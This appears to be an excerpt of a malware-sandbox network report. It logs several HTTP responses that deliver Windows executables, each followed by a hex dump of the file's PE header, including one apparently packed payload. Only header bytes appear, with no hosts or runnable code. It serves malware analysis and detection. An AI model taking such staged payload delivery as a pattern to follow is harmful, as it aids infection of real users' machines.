00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 05 Nov 2024 19:52:28 GMTContent-Type: application/octet-streamContent-Length: 2157568Last-Modified: Tue, 05 Nov 2024 18:57:36 GMTConnection: keep-aliveETag: "672a6aa0-20ec00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b 7d e6 03 f5 2e e6 03 f5 2e e6 03 f5 2e 89 75 5e 2e fe 03 f5 2e 89 75 6b 2e eb 03 f5 2e 89 75 5f 2e dc 03 f5 2e ef 7b 76 2e e5 03 f5 2e 66 7a f4 2f e4 03 f5 2e ef 7b 66 2e e1 03 f5 2e e6 03 f4 2e 89 03 f5 2e 89 75 5a 2e f4 03 f5 2e 89 75 68 2e e7 03 f5 2e 52 69 63 68 e6 03 f5 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 38 6e 1e 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 d0 01 00 00 dc 2c 00 00 00 00 00 00 80 73 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 b0 73 00 00 04 00 00 ef 18 21 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 50 90 2e 00 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 91 2e 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 70 2e 00 00 10 00 00 00 76 06 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 80 2e 00 00 00 00 00 00 86 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 90 2e 00 00 02 00 00 00 86 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 90 2a 00 00 a0 2e 00 00 02 00 00 00 88 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6f 6c 65 78 62 6e 66 69 00 40 1a 00 00 30 59 00 00 3c 1a 00 00 8a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 61 62 64 6a 75 71 6d 79 00 10 00 00 00 70 73 00 00 04 00 00 00 c6 20 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 80 73 00 00 22 00 00 00 ca 20 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 05 Nov 2024 19:52:48 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 05 Nov 2024 19:52:50 GMTContent-Type: application/octet-streamContent-Length: 2157568Last-Modified: Tue, 05 Nov 2024 18:57:36 GMTConnection: keep-aliveETag: "672a6aa0-20ec00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b 7d e6 03 f5 2e e6 03 f5 2e e6 03 f5 2e 89 75 5e 2e fe 03 f5 2e 89 75 6b 2e eb 03 f5 2e 89 75 5f 2e dc 03 f5 2e ef 7b 76 2e e5 03 f5 2e 66 7a f4 2f e4 03 f5 2e ef 7b 66 2e e1 03 f5 2e e6 03 f4 2e 89 03 f5 2e 89 75 5a 2e f4 03 f5 2e 89 75 68 2e e7 03 f5 2e 52 69 63 68 e6 03 f5 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 38 6e 1e 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 d0 01 00 00 dc 2c 00 00 00 00 00 00 80 73 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 b0 73 00 00 04 00 00 ef 18 21 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 50 90 2e 00 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 91 2e 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 70 2e 00 00 10 00 00 00 76 06 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 80 2e 00 00 00 00 00 00 86 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 90 2e 00 00 02 00 00 00 86 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 90 2a 00 00 a0 2e 00 00 02 00 00 00 88 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6f 6c 65 78 62 6e 66 69 00 40 1a 00 00 30 59 00 00 3c 1a 00 00 8a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 61 62 64 6a 75 71 6d 79 00 10 00 00 00 70 73 00 00 04 00 00 00 c6 20 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 80 73 00 00 22 00 00 00 ca 20 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 05 Nov 2024 19:52:51 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 05 Nov 2024 19:52:52 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 05 Nov 2024 19:52:53 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 05 Nov 2024 19:52:55 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
